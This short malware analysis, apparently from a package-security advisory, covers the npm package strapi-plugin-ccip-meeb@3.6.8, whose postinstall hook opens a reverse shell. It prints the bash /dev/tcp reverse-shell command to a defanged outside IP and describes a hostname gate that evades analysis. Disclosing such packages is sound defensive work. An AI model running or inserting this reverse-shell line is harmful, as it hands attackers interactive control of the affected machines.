strapi-plugin-ccip-meeb@3.6.8

Analysis

The package's postinstall hook (postinstall.js) executes a bash reverse shell that connects back to 14[.]225[.]210[.]85:80 via `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, retrying up to 5 times every 10 seconds. The payload only runs when the hostname matches 'ubuntu-fc-uvm' (an anti-analysis gate), and logs its activity to /tmp/postinstall-revshell.log. Installing this package on a matching host hands the remote server an interactive shell.